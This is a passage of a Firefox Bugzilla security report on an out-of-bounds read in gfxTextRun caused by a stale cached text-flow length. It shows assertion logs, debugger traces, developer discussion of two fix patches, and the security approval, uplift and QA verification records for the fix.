###!!! ASSERTION: frame tree not empty, but caller reported complete status: 'start == end || IsInLetterFrame(aSubtreeRoot)', file layout/base/nsLayoutUtils.cpp, line 7479
###!!! ASSERTION: frame tree not empty, but caller reported complete status: 'start == end || IsInLetterFrame(aSubtreeRoot)', file layout/base/nsLayoutUtils.cpp, line 7479
###!!! ASSERTION: Invalid offset: 'uint32_t(aOffset) <= mSkipChars->mCharCount', file gfx/thebes/gfxSkipChars.cpp, line 23
###!!! ASSERTION: Substring out of range: 'aRange.end <= GetLength()', file gfx/thebes/gfxTextRun.cpp, line 1040
}

The latter two assertions in particular sound like they're reporting an out-of-bounds read -- probably the same root issue -- in a way that can be detected/debugged in a normal (non-ASAN) debug build.
Keywords: assertion
Summary: out-of-bounds read in gfxTextRun → ASAN: out-of-bounds read in gfxTextRun (after "ASSERTION: Invalid offset" and "ASSERTION: Substring out of range")
Yes - on a (non-ASAN) debug build, I see the same sequence of assertions, followed by a fatal assertion and crash when trying to dereference a null UniquePtr.

The immediate failure occurs when we end up trying to call GetAdvanceWidth() on a textrun for a range that corresponds to a bunch of trailing spaces (from nsTextFrame::TrimTrailingWhiteSpace), but the textrun was created only for the visible text, not the (to-be-trimmed) trailing spaces, and so we read far off the end of its glyph array.

But I haven't worked back sufficiently to figure out why we end up in that situation. The PoC is a bit erratic for me; sometimes I can get it to assert/crash very quickly, other times it seems hard to reproduce. I tried to record a crash with rr, but then couldn't get replay to work; will try updating my rr and see if that helps.
Created attachment 8843424 [details] [diff] [review]
wip

It seems the problem is that we're not clearing out the text runs
properly when deleting text frame next-in-flows.  The problem
starts when we have a couple of text frames like so:

Text(1)"aaaaaaaaaaaaaaaaaa\n"@7fee15785f30 next-in-flow=7fee1577b0f0 {0,0,41040,4380} [state=0000004020220000] [content=7fee1f3af1f0] [sc=7fee15767860:-moz-text] [run=7fee0f11b420][0,19,F] 
(rr) p mTextRun->GetLength()
$71 = 19
(rr) p canTrimTrailingWhitespace
$73 = true
Text(1)"\n\n"@7fee1577b0f0 prev-in-flow=7fee15785f30 {0,0,0,4380} [state=4000000090620004] [content=7fee1f3af1f0] [sc=7fee15767860:-moz-text] [run=0][19,2,T] 

We reflow the first continuation and find that it's complete.
This is because the 2nd continuation only has insignificant whitespace.
So we delete that continuation and end up in nsContinuingTextFrame::DestroyFrom:
http://searchfox.org/mozilla-central/rev/546a05fec017cb785fca62a5199d42812a6a1fd3/layout/generic/nsTextFrame.cpp#4425
Since these two frames have the same style context and IsInTextRunUserData()
is false, we don't clear the text runs.  So the first continuation still
has a text run that maps 19 characters, but it's content length is now 21.
Everything falls apart from there...

So this WIP tests for this condition more directly by comparing the text runs.
If we share the text run with mPrevContinuation then everything is fine since
that text run already maps the content that frame will now cover when its
continuation is destroyed.

There are still a few bogus assertions with this patch:
ASSERTION: frame tree not empty, but caller reported complete status: 'aSubtreeRoot->IsEmpty() || IsInLetterFrame(aSubtreeRoot)', file layout/base/nsLayoutUtils.cpp, line 7476
This is because nsTextFrame::IsEmpty() is quite broken for text continuations.
Flags: needinfo?(mats)
I'm not sure yet if 'hasPrevContinuationWithDifferentTextRun' needs to be part of
the condition for clearing text runs for 'this' frame.  That's what we did
before so I included it, but my gut feeling is that it can be removed.
Hmm, it's a bit odd though that GetInFlowContentLength() returns 19,
when mContent->TextLength() is 21.  Maybe we didn't update the cached
property at some point? and we really should have reported incomplete
status from the reflow?
Right, it seems the value in the nsGkAtoms::flowlength property is bogus.
When we first cache it we have frame tree like so:
Text(1)"aaaaaaaaaaaaaaaaaa\n"@7f623fee4140 next-continuation=7f62401aa370 {0,0,41040,4380} [state=0001004020020000] [content=7f623ef18860] [sc=7f623fee49f0:-moz-text] [run=7f62401920e0][0,19,F] 
Text(1)"\n"@7f62401aa370 prev-continuation=7f623fee4140 next-in-flow=7f62401aa3e8 {0,0,0,4380} [state=40010000b0620000] [content=7f623ef18860] [sc=7f623fee49f0:-moz-text] [run=7f624034f860][19,1,F] 
Text(1)"\n"@7f62401aa3e8 prev-in-flow=7f62401aa370 {0,0,0,4380} [state=40000000b0620004] [content=7f623ef18860] [sc=7f623fee49f0:-moz-text] [run=7f624034f8f0][20,1,T] 

Note that the middle frame there is a non-fluid continuation.
At this point, 19 is the correct value, but it seems we then
change the continuations without clearing this cached value...
Yes, it changes here:
#0  operator|= (aLeft=@0x7f62401aa3b0: 4611686021386600452, aRight=nsFrameState::NS_FRAME_IS_FLUID_CONTINUATION) at nsFrameState.h:43
#1  nsIFrame::AddStateBits (this=0x7f62401aa370, aBits=nsFrameState::NS_FRAME_IS_FLUID_CONTINUATION) at nsIFrame.h:1829
#2  nsTextFrame::SetNextInFlow (this=0x7f623fee4140, aNextInFlow=0x7f62401aa370) at layout/generic/nsTextFrame.h:119
#3  MakeContinuationFluid (aFrame=0x7f623fee4140, aNext=0x7f62401aa370) at layout/base/nsBidiPresUtils.cpp:564
#4  nsBidiPresUtils::TraverseFrames (aLineIter=0x7ffe7e4bd080, aCurrentFrame=0x7f623fee4140, aBpd=0x7ffe7e4bd0b0) at layout/base/nsBidiPresUtils.cpp:1166
...
Created attachment 8843463 [details] [diff] [review]
wip2

This fixes the crash and all the assertions.  The frame that previously
reflowed as complete will now be incomplete since it now sees that 19 != 21.
Created attachment 8843464 [details] [diff] [review]
wip2

(Right file this time.)
Attachment #8843463 - Attachment is obsolete: true
Created attachment 8843571 [details] [diff] [review]
Make gfxSkipCharsIterator a bit more robust

Your diagnosis & patch for the problem here looks good; but I was wondering if it might be worth also doing something like this, to make gfxSkipCharsIterator handle bad situations more safely. AFAICT this would have prevented the OOB access here, leaving us with potentially incorrect layout but not an actual crash or vulnerability. In a debug build, it would still assert (as was already happening), so we're not just papering over the underlying bug, but a release build would have a better chance of surviving it safely. Given our history of bugs where we have textruns that don't quite match the content they're supposed to, this may be a useful mitigation?
Attachment #8843571 - Flags: feedback?(mats)
Comment on attachment 8843571 [details] [diff] [review]
Make gfxSkipCharsIterator a bit more robust

This is a good idea.  The problem is we don't really know what the caller
does with the faulty offset/textrun after this, so a MOZ_RELEASE_ASSERT
is generally safer.  I see three alternatives:

A. handle it + MOZ_ASSERT (this patch)
B. A + gfxCriticalError (or some such - to get a signal from release
   builds that this occurs in the wild)
C. MOZ_RELEASE_ASSERT

I think I'd prefer C in this case, because that increases the chance of
detecting any remaining/future errors.  I think fuzz testers generally
use non-DEBUG builds, so they wouldn't catch an error with A (unless
there is also a detectable subsequent error).
Attachment #8843571 - Flags: feedback?(mats) → feedback+
Created attachment 8843917 [details] [diff] [review]
part 1 - Invalidate the cached flow length when the next-in-flow/continuation changes.

This should fix this bug and be very low risk to uplift.
We should also take some variation of your patch as part 2.

(I still think there's something off with the logic in
nsContinuingTextFrame::DestroyFrom, but it would be a more
risky change and I'll have to think about that more.)
Assignee: nobody → mats
Attachment #8843464 - Attachment is obsolete: true
Attachment #8843917 - Flags: review?(jfkthame)
Comment on attachment 8843917 [details] [diff] [review]
part 1 - Invalidate the cached flow length when the next-in-flow/continuation changes.

Review of attachment 8843917 [details] [diff] [review]:
-----------------------------------------------------------------

Agreed, this looks very low-risk, so should be fine to uplift.
Attachment #8843917 - Flags: review?(jfkthame) → review+
(In reply to Mats Palmgren (:mats) from comment #21)
> Comment on attachment 8843571 [details] [diff] [review]
> Make gfxSkipCharsIterator a bit more robust
> 
> This is a good idea.  The problem is we don't really know what the caller
> does with the faulty offset/textrun after this, so a MOZ_RELEASE_ASSERT
> is generally safer.  I see three alternatives:
> 
> A. handle it + MOZ_ASSERT (this patch)
> B. A + gfxCriticalError (or some such - to get a signal from release
>    builds that this occurs in the wild)
> C. MOZ_RELEASE_ASSERT
> 
> I think I'd prefer C in this case, because that increases the chance of
> detecting any remaining/future errors.  I think fuzz testers generally
> use non-DEBUG builds, so they wouldn't catch an error with A (unless
> there is also a detectable subsequent error).

Some fuzz testers do run debug builds, don't they? I'm sure I've seen plenty of fuzzer-generated bug reports that are essentially "this testcase triggers a [debug-mode] assertion".

While MOZ_RELEASE_ASSERT is safest, I'm a little nervous of doing it right away, as it might result in more frequent crashes for situations that are currently fairly harmless in the wild. E.g. consider an off-by-one error that causes us to try and access character/glyph data one position past the end of the textrun; this might result in slightly incorrect layout or rendering, but seems unlikely to be exploitable. If we have such a bug, we'd certainly want to fix it, but I'm not sure it would justify forcing a release-mode crash.

At this point I'd lean towards adding a gfxCriticalError, so that we can see if this ever appears in the wild, and then re-assess accordingly.
Created attachment 8844051 [details] [diff] [review]
part 2 - Record attempted misuse of gfxSkipCharsIterator via a gfxCriticalError
Attachment #8844051 - Flags: review?(mats)
Attachment #8843571 - Attachment is obsolete: true
> Some fuzz testers do run debug builds, don't they?

Yes, I think our fuzz team do, but I think external testers usually use ASAN
or plain Opt builds.  IME, they also tend to find different sets of bugs, as
the recent streak of bidi-related bugs show.

> E.g. consider an off-by-one error that causes us to try and access character/glyph data
> one position past the end of the textrun; this might result in slightly incorrect layout
> or rendering, but seems unlikely to be exploitable.

Right, but this off-by-one error is a sign that our data is in an inconsistent
state so all bets are off.  There's no way of knowing whether this state could
lead to more serious issues.

I think the correct way to handle out-of-bounds errors in general is process
termination - that's how it's handled in nsTArray for example.  Considering
our user base is increasingly on e10s it's not that catastrophic for the user.

> At this point I'd lean towards adding a gfxCriticalError

Fair enough, given that we don't handle it at all at the moment we can
start with B and then replace it with C later on.
Comment on attachment 8844051 [details] [diff] [review]
part 2 - Record attempted misuse of gfxSkipCharsIterator via a gfxCriticalError

Thanks, r=mats
Attachment #8844051 - Flags: review?(mats) → review+
Comment on attachment 8843917 [details] [diff] [review]
part 1 - Invalidate the cached flow length when the next-in-flow/continuation changes.

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

That would probably be hard.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

There's no direct correlation with what kind of content/conditions
would cause the crash.

Which older supported branches are affected by this flaw?

All.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

Should be very easy to backport.

How likely is this patch to cause regressions; how much testing does it need?

Very low risk, we're just ditching a stale cached value in part 1, and adding
an out-of-bounds runtime check in part 2.
Attachment #8843917 - Flags: sec-approval?
Attachment #8843917 - Attachment description: fix → part 1 - Invalidate the cached flow length when the next-in-flow/continuation changes.
Severity: normal → critical
Component: Graphics: Text → Layout: Text
Keywords: crash
OS: Unspecified → All
Hardware: Unspecified → All
Flags: needinfo?(milan)
sec-approval+ for trunk. We'll want branch patches made and nominated as well.
status-firefox52: affected → wontfix
status-firefox55: --- → affected
tracking-firefox52: ? → ---
tracking-firefox55: --- → +
tracking-firefox-esr45: ? → 53+
tracking-firefox-esr52: ? → 53+
Attachment #8843917 - Flags: sec-approval? → sec-approval+
https://hg.mozilla.org/mozilla-central/rev/0f7465d1f1bb
https://hg.mozilla.org/mozilla-central/rev/80d9e84735e7
Status: NEW → RESOLVED
Last Resolved: 4 months ago
status-firefox55: affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla55
Comment on attachment 8843917 [details] [diff] [review]
part 1 - Invalidate the cached flow length when the next-in-flow/continuation changes.

Approval Request Comment
[Feature/Bug causing the regression]:
[User impact if declined]: crash or reading out-of-bounds memory contents
[Is this code covered by automated tests?]:yes
[Has the fix been verified in Nightly?]:no
[Needs manual test from QE? If yes, steps to reproduce]: Sure, I don't see why not.  Just load the attached testcases and verify it doesn't crash.
[List of other uplifts needed for the feature/fix]:
[Is the change risky?]:no
[Why is the change risky/not risky?]: we're just ditching a stale cached value in part 1, and adding
an out-of-bounds runtime check in part 2
[String changes made/needed]:none

(the uplift request is for both parts, for all branches that takes security fixes)
Attachment #8843917 - Flags: approval-mozilla-esr52?
Attachment #8843917 - Flags: approval-mozilla-esr45?
Attachment #8843917 - Flags: approval-mozilla-beta?
Attachment #8843917 - Flags: approval-mozilla-aurora?
Comment on attachment 8843917 [details] [diff] [review]
part 1 - Invalidate the cached flow length when the next-in-flow/continuation changes.

Sec-high fix, let's take this up to beta right away. Should be in the build for beta 2 next week.
Attachment #8843917 - Flags: approval-mozilla-beta?
Attachment #8843917 - Flags: approval-mozilla-beta+
Attachment #8843917 - Flags: approval-mozilla-aurora?
Attachment #8843917 - Flags: approval-mozilla-aurora+
https://hg.mozilla.org/releases/mozilla-aurora/rev/ec851660c406
https://hg.mozilla.org/releases/mozilla-aurora/rev/858b0ab812df

https://hg.mozilla.org/releases/mozilla-beta/rev/ddbca773eb53
https://hg.mozilla.org/releases/mozilla-beta/rev/ef9c28e77417
status-firefox53: affected → fixed
status-firefox54: affected → fixed
Flags: in-testsuite?
Group: core-security → core-security-release
Comment on attachment 8843917 [details] [diff] [review]
part 1 - Invalidate the cached flow length when the next-in-flow/continuation changes.

sec-high fix for both esr branches
Attachment #8843917 - Flags: approval-mozilla-esr52?
Attachment #8843917 - Flags: approval-mozilla-esr52+
Attachment #8843917 - Flags: approval-mozilla-esr45?
Attachment #8843917 - Flags: approval-mozilla-esr45+

Comment 35

4 months ago
uplift
https://hg.mozilla.org/releases/mozilla-esr52/rev/3bc981f85a17
https://hg.mozilla.org/releases/mozilla-esr52/rev/4f752b0e5920

https://hg.mozilla.org/releases/mozilla-esr45/rev/08bc7a3330e4
https://hg.mozilla.org/releases/mozilla-esr45/rev/8c61ebe37f1b
status-firefox-esr45: affected → fixed
status-firefox-esr52: affected → fixed
Whiteboard: [adv-main53+][adv-esr52.1+][adv-esr45.9+]
Alias: CVE-2017-5447
Flagging this for manual testing, instructions in Comment 31.
Flags: qe-verify+
I managed to reproduce this issue on Firefox 45.1.2 ESR ASAN build, under Ubuntu 16.04x64.

The crash is no longer reproducible on Firefox 55.0a1(2017-04-12) ASAN build, Firefox 54.0a2(2017-04-12) ASAN build, 53.0b12 ASAN build, 53.0 ASAN build, Firefox 45.9.0 ESR ASAN build, Firefox 52.1.0 ESR ASAN build, 55.0a1(2017-04-12) build, Firefox 54.0a2(2017-04-12), Firefox 53.0, Firefox 45.8.0 ESR or on Firefox 52.1.0 ESR.
Tests were performed under Ubuntu 16.04x64.
Status: RESOLVED → VERIFIED
status-firefox53: fixed → verified
status-firefox54: fixed → verified
status-firefox55: fixed → verified
status-firefox-esr45: fixed → verified
status-firefox-esr52: fixed → verified
Flags: qe-verify+
Group: core-security-release
Keywords: csectype-bounds, testcase
You need to log in before you can comment on or make changes to this bug.